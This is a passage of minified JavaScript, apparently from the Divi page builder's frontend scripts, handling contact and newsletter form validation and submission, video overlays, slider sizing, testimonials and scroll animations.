checkbox, use the field type for error message instead of default message about captcha if(0===this_label.trim().length){this_label=et_pb_custom.wrong_checkbox;}}}this_id=$this_wrapper.find('.et_pb_checkbox_handle').attr('name');original_id=$this_wrapper.attr('data-id');if(0===$this_wrapper.find('input[type="checkbox"]:checked').length){unchecked=true;}}// Escape double quotes in label this_label=this_label.replace(/"/g,'"');// Store the labels of the conditionally hidden fields so that they can be // removed later if a custom message pattern is enabled if(!$this_el.is(':visible')&&$this_el.parents('[data-conditional-logic]').length&&'hidden'!==$this_el.attr('type')&&'radio'!==$this_el.attr('type')){hidden_fields.push(original_id);return;}if(('hidden'===$this_el.attr('type')||'radio'===$this_el.attr('type'))&&!$this_el.parents('.et_pb_contact_field').is(':visible')){hidden_fields.push(original_id);return;}// add current field data into array of inputs if(typeof this_id!=='undefined'){inputs_list.push({field_id:this_id,original_id:original_id,required_mark:required_mark,field_type:field_type,field_label:this_label});}// add error message for the field if it is required and empty if('required'===required_mark&&(''===this_val||true===unchecked)&&!$this_el.is('[id^="et_pb_contact_et_number_"]')){if(false===$this_wrapper){$this_el.addClass('et_contact_error');}else{$this_wrapper.addClass('et_contact_error');}this_et_contact_error=true;default_value=this_label;if(''===default_value){default_value=et_pb_custom.captcha;}et_fields_message+="<li>".concat(default_value,"</li>");}// add error message if email field is not empty and fails the email validation if('email'===field_type){// remove trailing/leading spaces and convert email to lowercase var processed_email=this_val.trim().toLowerCase();var is_valid_email=et_is_email(processed_email);if(''!==processed_email&&this_label!==processed_email&&!is_valid_email){$this_el.addClass('et_contact_error');this_et_contact_error=true;if(!is_valid_email){et_message+="<li>".concat(et_pb_custom.invalid,"</li>");}}}});// check the captcha value if required for current form if($captcha_field.length&&''!==$captcha_field.val()){var first_digit=parseInt($captcha_field.data('first_digit'));var second_digit=parseInt($captcha_field.data('second_digit'));if(parseInt($captcha_field.val())!==first_digit+second_digit){et_message+="<li>".concat(et_pb_custom.wrong_captcha,"</li>");this_et_contact_error=true;// generate new digits for captcha first_digit=Math.floor(Math.random()*15+1);second_digit=Math.floor(Math.random()*15+1);// set new digits for captcha $captcha_field.data('first_digit',first_digit);$captcha_field.data('second_digit',second_digit);// clear captcha input value $captcha_field.val('');// regenerate captcha on page $this_contact_form.find('.et_pb_contact_captcha_question').empty().append("".concat(first_digit," + ").concat(second_digit));}}if(!this_et_contact_error){// Mark this form as `submitted` to prevent repeated processing. $this_contact_form.data('submitted',true);var $href=$this_contact_form.attr('action');var form_data=$this_contact_form.serializeArray();form_data.push({name:"et_pb_contact_email_fields_".concat(form_unique_id),value:JSON.stringify(inputs_list)});form_data.push({name:'token',value:token});if(hidden_fields.length>0){form_data.push({name:"et_pb_contact_email_hidden_fields_".concat(form_unique_id),value:JSON.stringify(hidden_fields)});}$this_contact_container.removeClass('et_animated').removeAttr('style').fadeTo('fast',0.2,function(){$this_contact_container.load("".concat($href," #").concat($this_contact_container.attr('id'),"> *"),form_data,function(responseText,textStatus){if('error'===textStatus){var $message=$("#".concat($this_contact_container.attr('id')),responseText);if($message.length>0){// The response is an error but we have a form response message so // this is most likely a contact form on a 404 page or similar. // In this case, jQuery will not load the html since it treats // the request as failed so we have to do it manually. $this_contact_container.html($message);}}if(!$(responseText).find('.et_pb_contact_error_text').length){et_pb_maybe_log_event($this_contact_container,'con_goal');// redirect if redirect URL is not empty and no errors in contact form if(''!==redirect_url){window.location.href=redirect_url;}}$this_contact_container.fadeTo('fast',1);});});}et_message+='</ul>';if(''!==et_fields_message){if(et_message!=='<ul></ul>'){et_message="<p class=\"et_normal_padding\">".concat(et_pb_custom.contact_error_message,"</p>").concat(et_message);}et_fields_message="<ul>".concat(et_fields_message,"</ul>");et_fields_message="<p>".concat(et_pb_custom.fill_message,"</p>").concat(et_fields_message);et_message=et_fields_message+et_message;}if(et_message!=='<ul></ul>'){$et_contact_message.html(et_message);// If parent of this contact form uses parallax if($this_contact_container.parents('.et_pb_section_parallax').length){$this_contact_container.parents('.et_pb_section_parallax').each(function(){var $parallax_element=$(this);var $parallax=$parallax_element.children('.et_parallax_bg');var is_true_parallax=!$parallax.hasClass('et_pb_parallax_css');if(is_true_parallax){$et_window.trigger('resize');}});}}});});});}window.et_pb_play_overlayed_video=function($play_video){var $this=$play_video;var $video_image=$this.closest('.et_pb_video_overlay');var $wrapper=$this.closest('.et_pb_video, .et_main_video_container, .et_pb_video_wrap');var $video_iframe=$wrapper.find('iframe');var is_embedded=$video_iframe.length>0;var is_fb_video=$wrapper.find('.fb-video').length;var video_iframe_src;var video_iframe_src_splitted;var video_iframe_src_autoplay;if(is_embedded){if(is_fb_video&&'undefined'!==typeof $video_iframe[2]){// Facebook uses three http/https/iframe $video_iframe=$($video_iframe[2]);}// Add autoplay parameter to automatically play embedded content when overlay is clicked video_iframe_src=$video_iframe.attr('src');video_iframe_src_splitted=video_iframe_src.split('?');if(video_iframe_src.indexOf('autoplay=')!==-1){return;}if(typeof video_iframe_src_splitted[1]!=='undefined'){video_iframe_src_autoplay="".concat(video_iframe_src_splitted[0],"?autoplay=1&").concat(video_iframe_src_splitted[1]);}else{video_iframe_src_autoplay="".concat(video_iframe_src_splitted[0],"?autoplay=1");}$video_iframe.attr({src:video_iframe_src_autoplay});}else{$wrapper.find('video').get(0).play();}$video_image.fadeTo(500,0,function(){var $image=$(this);$image.css('display','none');});};$('.et_pb_post .et_pb_video_overlay, .et_pb_video .et_pb_video_overlay, .et_pb_video_wrap .et_pb_video_overlay').on('click',function(){var $this=$(this);et_pb_play_overlayed_video($this);return false;});window.et_pb_resize_section_video_bg=function($video){var $element=typeof $video!=='undefined'?$video.closest('.et_pb_section_video_bg'):$('.et_pb_section_video_bg');$element.each(function(){var $this_el=$(this);if(isInsideVB($this_el)){$this_el.removeAttr('data-ratio');$this_el.find('video').removeAttr('style');}var $video=$this_el.find('video');var el_width=$video.prop('videoWidth')||parseInt($video.width());var el_height=$video.prop('videoHeight')||parseInt($video.height());var ratio=el_width/el_height;var $video_elements=$this_el.find('.mejs-video, video, object').css('margin','0px');var $container=$this_el.closest('.et_pb_section_video').length?$this_el.closest('.et_pb_section_video'):$this_el.closest('.et_pb_slides');var body_width=$container.innerWidth();var container_height=$container.innerHeight();var width;var height;if('undefined'===typeof $this_el.attr('data-ratio')&&!isNaN(ratio)){$this_el.attr('data-ratio',ratio);}if(body_width/container_height<ratio){width=container_height*ratio;height=container_height;}else{width=body_width;height=body_width/ratio;}$video_elements.width(width).height(height);// need to re-set the values to make it work correctly in Frontend builder if(_utils.isBuilder){setTimeout(function(){$video_elements.width(width).height(height);},0);}});};window.et_pb_center_video=function($video){var $element=typeof $video!=='undefined'?$video:$('.et_pb_section_video_bg .mejs-video');if(!$element.length){return;}$element.each(function(){var $this_el=$(this);et_pb_adjust_video_margin($this_el);// need to re-calculate the values in Frontend builder if(isInsideVB($this_el)){setTimeout(function(){et_pb_adjust_video_margin($this_el);},0);}if(typeof $video!=='undefined'){if($video.closest('.et_pb_slider').length&&!$video.closest('.et_pb_first_video').length){return false;}}});};window.et_pb_adjust_video_margin=function($el){var $video_width=$el.width()/2;var $video_width_negative=0-$video_width;$el.css('margin-left',"".concat($video_width_negative,"px"));};function et_fix_slider_height($slider){var $this_slider=$slider||$et_pb_slider;if(!$this_slider||!$this_slider.length){return;}$this_slider.each(function(){var $slide_section=$(this).parent('.et_pb_section');var $slides=$(this).find('.et_pb_slide');var $slide_containers=$slides.find('.et_pb_container');var max_height=0;var image_margin=0;var need_image_margin_top=$(this).hasClass('et_pb_post_slider_image_top');var need_image_margin_bottom=$(this).hasClass('et_pb_post_slider_image_bottom');// If this is appears at the first section beneath transparent nav, skip it // leave it to et_fix_page_container_position() if($slide_section.is('.et_pb_section_first')){return true;}$slide_containers.css('height','');// make slides visible to calculate the height correctly $slides.addClass('et_pb_temp_slide');if('object'===_typeof($(this).data('et_pb_simple_slider'))){$(this).data('et_pb_simple_slider').et_fix_slider_content_images();}$slides.each(function(){var height=parseFloat($(this).innerHeight());var $slide_image=$(this).find('.et_pb_slide_image');var adjustedHeight=parseFloat($(this).data('adjustedHeight'));var autoTopPadding=isNaN(adjustedHeight)?0:adjustedHeight;// reduce the height by autopadding value if slider height was adjusted. This is required in VB. height=autoTopPadding&&autoTopPadding<height?height-autoTopPadding:height;if(need_image_margin_top||need_image_margin_bottom){if($slide_image.length){// get the margin from slides with image image_margin=need_image_margin_top?parseFloat($slide_image.css('margin-top')):parseFloat($slide_image.css('margin-bottom'));image_margin+=10;}else{// add class to slides without image to adjust their height accordingly $(this).find('.et_pb_container').addClass('et_pb_no_image');}}// mark the slides without content if(0===$(this).find('.et_pb_slide_description').length||0===$(this).find('.et_pb_slide_description').html().trim().length){$(this).find('.et_pb_container').addClass('et_pb_empty_slide');}if(max_height<height){max_height=height;}});if(max_height+image_margin<1){// No slides have any content. It's probably being used with background images only. // Reset the height so that it falls back to the default padding for the content. $slide_containers.css('height','');}else{$slide_containers.css('height',"".concat(max_height+image_margin,"px"));}// remove temp class after getting the slider height $slides.removeClass('et_pb_temp_slide');// Show the active slide's image (if exists) $slides.filter('.et-pb-active-slide').find('.et_pb_slide_image').children('img').addClass('active');});}var debounced_et_fix_slider_height={};// This function can end up being called a lot of times and it's quite expensive in terms of cpu due to // recalculating styles. Debouncing it (VB only) for performances reasons. window.et_fix_slider_height=!_utils.isBuilder?et_fix_slider_height:function($slider){var $this_slider=$slider||$et_pb_slider;if(!$this_slider||!$this_slider.length){return;}// Create a debounced function per slider var address=$this_slider.data('address');if(!debounced_et_fix_slider_height[address]){debounced_et_fix_slider_height[address]=window.et_pb_debounce(et_fix_slider_height,100);}debounced_et_fix_slider_height[address]($slider);};/** * Add conditional class to prevent unwanted dropdown nav. */function et_fix_nav_direction(){var window_width=$(window).width();$('.nav li.et-reverse-direction-nav').removeClass('et-reverse-direction-nav');$('.nav li li ul').each(function(){var $dropdown=$(this);var dropdown_width=$dropdown.width();var dropdown_offset=$dropdown.offset();var $parents=$dropdown.parents('.nav > li');if(dropdown_offset.left>window_width-dropdown_width){$parents.addClass('et-reverse-direction-nav');}});}et_fix_nav_direction();et_pb_form_placeholders_init($('.et_pb_comments_module #commentform'));$('.et-menu-nav ul.nav').each(function(i){et_duplicate_menu($(this),$(this).closest('.et_pb_module').find('div .mobile_nav'),"mobile_menu".concat(i+1),'et_mobile_menu');});$('.et_pb_menu, .et_pb_fullwidth_menu').each(function(){var this_menu=$(this);var bg_color=this_menu.data('bg_color');if(bg_color){this_menu.find('ul').css({'background-color':bg_color});}});$et_pb_newsletter_button.on('click',function(event){et_pb_submit_newsletter($(this),event);});$et_pb_newsletter_input.on('keypress',function(event){var keyCode=event.which||event.keyCode;if(13===keyCode){var $submit=$(this).closest('form').find('.et_pb_newsletter_button');et_pb_submit_newsletter($submit,event);}});$et_pb_newsletter_button.closest('.et_pb_newsletter').find('input[type=checkbox]').on('change',function(){var $checkbox=$(this);var $checkbox_field=$checkbox.siblings('input[type=text]').first();var is_checked=$checkbox.prop('checked');$checkbox_field.val(is_checked?$checkbox_field.data('checked'):$checkbox_field.data('unchecked'));});window.et_pb_submit_newsletter=function($submit,event){if($submit.closest('.et_pb_login_form').length){et_pb_maybe_log_event($submit.closest('.et_pb_newsletter'),'con_goal');return;}if(typeof event!=='undefined'){event.preventDefault();}// check if it is a feedburner feed subscription if($('.et_pb_feedburner_form').length>0){var $feed_name=$('.et_pb_feedburner_form input[name=uri]').val();window.open("https://feedburner.google.com/fb/a/mailverify?uri=".concat($feed_name),'et-feedburner-subscribe','scrollbars=yes,width=550,height=520');return true;}// otherwise keep things moving var $newsletter_container=$submit.closest('.et_pb_newsletter');var $name=$newsletter_container.find('input[name="et_pb_signup_firstname"]');var $lastname=$newsletter_container.find('input[name="et_pb_signup_lastname"]');var $email=$newsletter_container.find('input[name="et_pb_signup_email"]');var list_id=$newsletter_container.find('input[name="et_pb_signup_list_id"]').val();var $error_message=$newsletter_container.find('.et_pb_newsletter_error').hide();var provider=$newsletter_container.find('input[name="et_pb_signup_provider"]').val();var account=$newsletter_container.find('input[name="et_pb_signup_account_name"]').val();var ip_address=$newsletter_container.find('input[name="et_pb_signup_ip_address"]').val();var checksum=$newsletter_container.find('input[name="et_pb_signup_checksum"]').val();var $fields_container=$newsletter_container.find('.et_pb_newsletter_fields');var $success_message=$newsletter_container.find('.et_pb_newsletter_success');var redirect_url=$newsletter_container.data('redirect_url');var redirect_query=$newsletter_container.data('redirect_query');var custom_fields={};var hidden_fields=[];var et_message='<ul>';var et_fields_message='';var $custom_fields=$fields_container.find('input[type=text], .et_pb_checkbox_handle, .et_pb_contact_field[data-type="radio"], textarea, select').filter('.et_pb_signup_custom_field, .et_pb_signup_custom_field *');$name.removeClass('et_pb_signup_error');$lastname.removeClass('et_pb_signup_error');$email.removeClass('et_pb_signup_error');$custom_fields.removeClass('et_contact_error');$error_message.html('');// Validate user input var is_valid=true;var form=$submit.closest('.et_pb_newsletter_form form');if(form.length>0&&'function'===typeof form[0].reportValidity){// Checks HTML5 validation constraints is_valid=form[0].reportValidity();}if($name.length>0&&!$name.val()){$name.addClass('et_pb_signup_error');is_valid=false;}if($lastname.length>0&&!$lastname.val()){$lastname.addClass('et_pb_signup_error');is_valid=false;}if(!et_email_reg_html5.test($email.val())){$email.addClass('et_pb_signup_error');is_valid=false;}if(!is_valid){return;}$custom_fields.each(function(){var $this_el=$(this);var $this_wrapper=false;if(['checkbox','booleancheckbox'].includes($this_el.data('field_type'))){$this_wrapper=$this_el.parents('.et_pb_contact_field');$this_wrapper.removeClass('et_contact_error');}if('radio'===$this_el.data('type')){$this_el=$this_el.find('input[type="radio"]');$this_wrapper=$this_el.parents('.et_pb_contact_field');}var this_id=$this_el.data('id');var this_val=$this_el.val();var this_label=$this_el.siblings('label').first().text();var field_type=typeof $this_el.data('field_type')!=='undefined'?$this_el.data('field_type'):'text';var required_mark=typeof $this_el.data('required_mark')!=='undefined'?$this_el.data('required_mark'):'not_required';var original_id=typeof $this_el.data('original_id')!=='undefined'?$this_el.data('original_id'):'';var unchecked=false;var default_value;if(!this_id){this_id=$this_el.data('original_id');}// radio field properties adjustment if('radio'===field_type){if(0!==$this_wrapper.find('input[type="radio"]').length){var $firstRadio=$this_wrapper.find('input[type="radio"]').first();required_mark=typeof $firstRadio.data('required_mark')!=='undefined'?$firstRadio.data('required_mark'):'not_required';this_val='';if($this_wrapper.find('input[type="radio"]:checked')){this_val=$this_wrapper.find('input[type="radio"]:checked').val();}}this_label=$this_wrapper.find('.et_pb_contact_form_label').text();this_id=$this_el.data('original_id');if(!$.isEmptyObject(this_val)){custom_fields[this_id]=this_val;}if(0===$this_wrapper.find('input[type="radio"]:checked').length){unchecked=true;}if(this_val){custom_fields[this_id]=this_val;}}else if(['checkbox','booleancheckbox'].includes(field_type)){this_val={};if(0!==$this_wrapper.find('input[type="checkbox"]').length){var $checkboxHandle=$this_wrapper.find('.et_pb_checkbox_handle');required_mark=typeof $checkboxHandle.data('required_mark')!=='undefined'?$checkboxHandle.data('required_mark'):'not_required';if($this_wrapper.find('input[type="checked"]:checked')){$this_wrapper.find('input[type="checkbox"]:checked').each(function(){if('booleancheckbox'===field_type){this_val=$(this).val();}else{var field_id=$(this).data('id');this_val[field_id]=$(this).val();}});}}this_label=$this_wrapper.find('.et_pb_contact_form_label').text();// In case user did not add field name, try to use label from the checkbox value if(0===this_label.trim().length){var $checkboxes=$this_wrapper.find('.et_pb_contact_field_checkbox input[type="checkbox"]');if($checkboxes.length>0){var _checkbox_labels=[];$checkboxes.each(function(){_checkbox_labels.push($(this).val());});this_label=_checkbox_labels.join(', ');// In case user uses an empty checkbox, use the field type for error message instead of default message about captcha if(0===this_label.trim().length){this_label=et_pb_custom.wrong_checkbox;}}}this_id=$this_wrapper.attr('data-id');if(!$.isEmptyObject(this_val)){custom_fields[this_id]=this_val;}if(0===$this_wrapper.find('input[type="checkbox"]:checked').length){unchecked=true;}}else if('ontraport'===provider&&'select'===field_type){// Need to pass option ID as a value for dropdown menu in Ontraport var $selected_option=$this_el.find(':selected');custom_fields[this_id]=$selected_option.length>0?$selected_option.data('id'):this_val;}else{custom_fields[this_id]=this_val;}// Need to send option id to be processed in the custom field processing if('mailchimp'===provider&&['select','radio'].indexOf(field_type)>-1){var $selected_option='select'===field_type?$this_el.find(':selected'):$this_wrapper.find('input[type="radio"]:checked');var option_id=$selected_option.length>0?$selected_option.data('id'):null;if(null!==option_id){custom_fields[this_id]={};custom_fields[this_id][option_id]=this_val;}}// Escape double quotes in label this_label=this_label.replace(/"/g,'"');// Store the labels of the conditionally hidden fields so that they can be // removed later if a custom message pattern is enabled if(!$this_el.is(':visible')&&'hidden'!==$this_el.attr('type')&&'radio'!==$this_el.attr('type')){hidden_fields.push(original_id);return;}if(('hidden'===$this_el.attr('type')||'radio'===$this_el.attr('type'))&&!$this_el.parents('.et_pb_contact_field').is(':visible')){hidden_fields.push(this_id);return;}// add error message for the field if it is required and empty if('required'===required_mark&&(''===this_val||true===unchecked)){if(false===$this_wrapper){$this_el.addClass('et_contact_error');}else{$this_wrapper.addClass('et_contact_error');}is_valid=false;default_value=this_label;if(''===default_value){default_value=et_pb_custom.captcha;}et_fields_message+="<li>".concat(default_value,"</li>");}// add error message if email field is not empty and fails the email validation if('email'===field_type){// remove trailing/leading spaces and convert email to lowercase var processed_email=this_val.trim().toLowerCase();var is_valid_email=et_email_reg_html5.test(processed_email);if(''!==processed_email&&this_label!==processed_email&&!is_valid_email){$this_el.addClass('et_contact_error');is_valid=false;if(!is_valid_email){et_message+="<li>".concat(et_pb_custom.invalid,"</li>");}}}});et_message+='</ul>';if(''!==et_fields_message){if(et_message!=='<ul></ul>'){et_message="<p class=\"et_normal_padding\">".concat(et_pb_custom.contact_error_message,"</p>").concat(et_message);}et_fields_message="<ul>".concat(et_fields_message,"</ul>");et_fields_message="<p>".concat(et_pb_custom.fill_message,"</p>").concat(et_fields_message);et_message=et_fields_message+et_message;}if(et_message!=='<ul></ul>'){$error_message.html(et_message).show();// If parent of this contact form uses parallax if($newsletter_container.parents('.et_pb_section_parallax').length){$newsletter_container.parents('.et_pb_section_parallax').each(function(){var $parallax_element=$(this);var $parallax=$parallax_element.children('.et_parallax_bg');var is_true_parallax=!$parallax.hasClass('et_pb_parallax_css');if(is_true_parallax){$et_window.trigger('resize');}});}return;}function get_redirect_query(){var query={};if(!redirect_query){return'';}if($name.length>0&&redirect_query.indexOf('name')>-1){query.first_name=$name.val();}if($lastname.length>0&&redirect_query.indexOf('last_name')>-1){query.last_name=$lastname.val();}if(redirect_query.indexOf('email')>-1){query.email=$email.val();}if(redirect_query.indexOf('ip_address')>-1){query.ip_address=$newsletter_container.data('ip_address');}if(redirect_query.indexOf('css_id')>-1){query.form_id=$newsletter_container.attr('id');}return decodeURIComponent($.param(query));}var tokenDeferred=$.Deferred();// Only process through recaptcha if the module has spam protection enabled and the recaptcha core api exists. if(recaptchaApi&&$newsletter_container.hasClass('et_pb_recaptcha_enabled')){recaptchaApi.interaction("Divi/Module/EmailOptin/List/".concat(list_id)).then(function(token){tokenDeferred.resolve(token);});}else{tokenDeferred.resolve('');}$.when(tokenDeferred).done(function(token){$.ajax({type:'POST',url:et_pb_custom.ajaxurl,dataType:'json',data:{action:'et_pb_submit_subscribe_form',et_frontend_nonce:et_pb_custom.et_frontend_nonce,et_list_id:list_id,et_firstname:$name.val(),et_lastname:$lastname.val(),et_email:$email.val(),et_provider:provider,et_account:account,et_ip_address:ip_address,et_custom_fields:custom_fields,et_hidden_fields:hidden_fields,token:token,et_checksum:checksum},beforeSend:function beforeSend(){$newsletter_container.find('.et_pb_newsletter_button').addClass('et_pb_button_text_loading').find('.et_subscribe_loader').show();},complete:function complete(){$newsletter_container.find('.et_pb_newsletter_button').removeClass('et_pb_button_text_loading').find('.et_subscribe_loader').hide();},success:function success(data){if(!data){$error_message.html(et_pb_custom.subscription_failed).show();return;}if(data.error){$error_message.show().append('<h2>').text(data.error);}if(data.success){if(redirect_url){et_pb_maybe_log_event($newsletter_container,'con_goal',function(){var query=get_redirect_query();if(query.length){if(redirect_url.indexOf('?')>-1){redirect_url+='&';}else{redirect_url+='?';}}window.location=redirect_url+query;});}else{et_pb_maybe_log_event($newsletter_container,'con_goal');$newsletter_container.find('.et_pb_newsletter_fields').hide();$success_message.show();}}}});});};window.et_fix_testimonial_inner_width=function(){var window_width=$(window).width();if(window_width>959){$('.et_pb_testimonial').each(function(){if(!$(this).is(':visible')){return;}var $testimonial=$(this);var $portrait=$testimonial.find('.et_pb_testimonial_portrait');var portrait_width=$portrait.outerWidth(true)||0;var $testimonial_descr=$testimonial.find('.et_pb_testimonial_description');var $outer_column=$testimonial.closest('.et_pb_column');if(portrait_width>90){$portrait.css('padding-bottom','0px');$portrait.width('90px');$portrait.height('90px');}var testimonial_indent=!($outer_column.hasClass('et_pb_column_1_3')||$outer_column.hasClass('et_pb_column_1_4')||$outer_column.hasClass('et_pb_column_1_5')||$outer_column.hasClass('et_pb_column_1_6')||$outer_column.hasClass('et_pb_column_2_5')||$outer_column.hasClass('et_pb_column_3_8'))?portrait_width:0;$testimonial_descr.css('margin-left',"".concat(testimonial_indent,"px"));});}else if(window_width>767){$('.et_pb_testimonial').each(function(){if(!$(this).is(':visible')){return;}var $testimonial=$(this);var $portrait=$testimonial.find('.et_pb_testimonial_portrait');var portrait_width=$portrait.outerWidth(true)||0;var $testimonial_descr=$testimonial.find('.et_pb_testimonial_description');var $outer_column=$testimonial.closest('.et_pb_column');var testimonial_indent=!($outer_column.hasClass('et_pb_column_1_4')||$outer_column.hasClass('et_pb_column_1_5')||$outer_column.hasClass('et_pb_column_1_6')||$outer_column.hasClass('et_pb_column_2_5')||$outer_column.hasClass('et_pb_column_3_8'))?portrait_width:0;$testimonial_descr.css('margin-left',"".concat(testimonial_indent,"px"));});}else{$('.et_pb_testimonial_description').removeAttr('style');}};window.et_fix_testimonial_inner_width();window.et_pb_video_background_init=function($this_video_background,this_video_background){var $video_background_wrapper=$this_video_background.closest('.et_pb_section_video_bg');// Initializing video values var onplaying=false;var onpause=true;// On video playing toggle values this_video_background.onplaying=function(){onplaying=true;onpause=false;};// On video pause toggle values this_video_background.onpause=function(){onplaying=false;onpause=true;};// Entering video's top viewport et_waypoint($video_background_wrapper,{offset:'100%',handler:function handler(direction){// This has to be placed inside handler to make it works with changing class name in VB var is_play_outside_viewport=$video_background_wrapper.hasClass('et_pb_video_play_outside_viewport');if($this_video_background.is(':visible')&&'down'===direction){if(this_video_background.paused&&!onplaying){this_video_background.play();}}else if($this_video_background.is(':visible')&&'up'===direction){if(!this_video_background.paused&&!onpause&&!is_play_outside_viewport){this_video_background.pause();}}}},2);// Entering video's bottom viewport et_waypoint($video_background_wrapper,{offset:function offset(){var video_height=this.element.clientHeight;var toggle_offset=Math.ceil(window.innerHeight/2);if(video_height>toggle_offset){toggle_offset=video_height;}return toggle_offset*-1;},handler:function handler(direction){// This has to be placed inside handler to make it works with changing class name in VB var is_play_outside_viewport=$video_background_wrapper.hasClass('et_pb_video_play_outside_viewport');if($this_video_background.is(':visible')&&'up'===direction){if(this_video_background.paused&&!onplaying){this_video_background.play();}}else if($this_video_background.is(':visible')&&'down'===direction){if(!this_video_background.paused&&!onpause&&!is_play_outside_viewport){this_video_background.pause();}}}},2);};function et_waypoint($element,options,max_instances){max_instances=max_instances||$element.data('et_waypoint_max_instances')||1;var current_instances=$element.data('et_waypoint')||[];if(current_instances.length<max_instances){var new_instances=$element.waypoint(options);if(new_instances&&new_instances.length>0){current_instances.push(new_instances[0]);$element.data('et_waypoint',current_instances);}}else{// Reinit existing for(var i=0;i<current_instances.length;i++){current_instances[i].context.refresh();}}}/** * Returns an offset to be used for waypoints. * * @param {element} element The element being passed. * @param {string} fallback String of either pixels or percent. * @returns {string} Returns either the fallback or 'bottom-in-view'. */function et_get_offset(element,fallback){// cache things so we can test. var section_index=element.parents('.et_pb_section').index();var section_length=$('.et_pb_section').length-1;var row_index=element.parents('.et_pb_row').index();var row_length=element.parents('.et_pb_section').children().length-1;// return bottom-in-view if it is the last element otherwise return the user defined fallback if(section_index===section_length&&row_index===row_length){return'bottom-in-view';}return fallback;}/** * Reinit animation styles on window resize. * * It will check current window mode then compare it with the breakpoint of last rendered * animation styles. If it's different, it will recall et_process_animation_data(). * * @since 3.23 */function et_pb_reinit_animation(){// If mode is changed, reinit animation data. if(et_pb_get_current_window_mode()!==et_animation_breakpoint){et_process_animation_data(false);}}/** * Update map filters. * * @since 3.23 * @since 3.24.1 Prevent reinit maps to update map filters. * * @param {jQuery} $et_pb_map */function et_pb_update_maps_filters($et_pb_map){// Ensure to update map filters only on preview mode changes. if(et_pb_get_current_window_mode()===et_animation_breakpoint){return false;}$et_pb_map.each(function(){var $this_map=$(this);var this_map=$this_map.data('map');// Ensure the map exist. if('undefined'===typeof this_map){return;}var current_mode=et_pb_get_current_window_mode();et_animation_breakpoint=current_mode;var suffix=current_mode!=='desktop'?"-".concat(current_mode):'';var prev_suffix='phone'===current_mode?'-tablet':'';var grayscale_value=$this_map.attr("data-grayscale".concat(suffix))||0;if(!grayscale_value){grayscale_value=$this_map.attr("data-grayscale".concat(prev_suffix))||$this_map.attr('data-grayscale')||0;}// Convert it to negative value as string. if(grayscale_value!==0){grayscale_value="-".concat(grayscale_value.toString());}// Apply grayscale value on the saturation. this_map.setOptions({styles:[{stylers:[{saturation:parseInt(grayscale_value)}]}]});});}function et_animate_element($elementOriginal){var $element=$elementOriginal;if($element.hasClass('et_had_animation')){return;}var animation_style=$element.attr('data-animation-style');var animation_repeat=$element.attr('data-animation-repeat');var animation_duration=$element.attr('data-animation-duration');var animation_delay=$element.attr('data-animation-delay');var animation_intensity=$element.attr('data-animation-intensity');var animation_starting_opacity=$element.attr('data-animation-starting-opacity');var animation_speed_curve=$element.attr('data-animation-speed-curve');var $buttonWrapper=$element.parent('.et_pb_button_module_wrapper');var isEdge=$('body').hasClass('edge');// Avoid horizontal scroll bar when section is rolled if($element.is('.et_pb_section')&&'roll'===animation_style){$("".concat(et_frontend_scripts.builderCssContainerPrefix,", ").concat(et_frontend_scripts.builderCssLayoutPrefix)).css('overflow-x','hidden');}// Remove all the animation data attributes once the variables have been set et_remove_animation_data($element);// Opacity can be 0 to 1 so the starting opacity is equal to the percentage number multiplied by 0.01 var starting_opacity=isNaN(parseInt(animation_starting_opacity))?0:parseInt(animation_starting_opacity)*0.01;// Check if the animation speed curve is one of the allowed ones and set it to the default one if it is not if(-1===$.inArray(animation_speed_curve,['linear','ease','ease-in','ease-out','ease-in-out'])){animation_speed_curve='ease-in-out';}if($buttonWrapper.length>0){$element.removeClass('et_animated');$element=$buttonWrapper;$element.addClass('et_animated');}$element.css({'animation-duration':animation_duration,'animation-delay':animation_delay,opacity:starting_opacity,'animation-timing-function':animation_speed_curve});if('slideTop'===animation_style||'slideBottom'===animation_style){$element.css('left','0px');}var intensity_css={};var intensity_percentage=isNaN(parseInt(animation_intensity))?50:parseInt(animation_intensity);// All the animations that can have intensity var intensity_animations=['slide','zoom','flip','fold','roll'];var original_animation=false;var original_direction=false;// Check if current animation can have intensity for(var i=0;i<intensity_animations.length;i++){var animation=intensity_animations[i];// As the animation style is a combination of type and direction check if // the current animation contains any of the allowed animation types if(!animation_style||animation_style.substr(0,animation.length)!==animation){continue;}// If it does set the original animation to the base animation type original_animation=animation;// Get the remainder of the animation style and set it as the direction original_direction=animation_style.substr(animation.length,animation_style.length);// If that is not empty convert it to lower case for better readability's sake if(''!==original_direction){original_direction=original_direction.toLowerCase();}break;}if(original_animation!==false&&original_direction!==false){intensity_css=et_process_animation_intensity(original_animation,original_direction,intensity_percentage);}if(!$.isEmptyObject(intensity_css)){// temporarily disable transform transitions to avoid double animation. $element.css(isEdge?$.extend(intensity_css,{transition:'transform 0s ease-in'}):intensity_css);}$element.addClass('et_animated');$element.addClass('et_is_animating');$element.addClass(animation_style);$element.addClass(animation_repeat);// Remove the animation after it completes if it is not an infinite one if(!animation_repeat){var animation_duration_ms=parseInt(animation_duration);var animation_delay_ms=parseInt(animation_delay);setTimeout(function(){et_remove_animation($element);},animation_duration_ms+animation_delay_ms);if(isEdge&&!$.isEmptyObject(intensity_css)){// re-enable transform transitions after animation is done. setTimeout(function(){$element.css('transition','');},animation_duration_ms+animation_delay_ms+50);}}}function et_process_animation_data(waypoints_enabled){if('undefined'!==typeof et_animation_data&&et_animation_data.length>0){$('body').css('overflow-x','hidden');$('#page-container').css('overflow-y','hidden');for(var i=0;i<et_animation_data.length;i++){var animation_entry=et_animation_data[i];if(!animation_entry.class||!animation_entry.style||!animation_entry.repeat||!animation_entry.duration||!animation_entry.delay||!animation_entry.intensity||!animation_entry.starting_opacity||!animation_entry.speed_curve){continue;}var $animated=$(".".concat(animation_entry.class));// Get current active device. var current_mode=et_pb_get_current_window_mode();var is_desktop_view='desktop'===current_mode;// Update animation breakpoint variable. et_animation_breakpoint=current_mode;// Generate suffix. var suffix='';if(!is_desktop_view){suffix+="_".concat(current_mode);}// Being save and prepare the value. var data_style=!is_desktop_view&&typeof animation_entry["style".concat(suffix)]!=='undefined'?animation_entry["style".concat(suffix)]:animation_entry.style;var data_repeat=!is_desktop_view&&typeof animation_entry["repeat".concat(suffix)]!=='undefined'?animation_entry["repeat".concat(suffix)]:animation_entry.repeat;var data_duration=!is_desktop_view&&typeof animation_entry["duration".concat(suffix)]!=='undefined'?animation_entry["duration".concat(suffix)]:animation_entry.duration;var data_delay=!is_desktop_view&&typeof animation_entry["delay".concat(suffix)]!=='undefined'?animation_entry["delay".concat(suffix)]:animation_entry.delay;var data_intensity=!is_desktop_view&&typeof 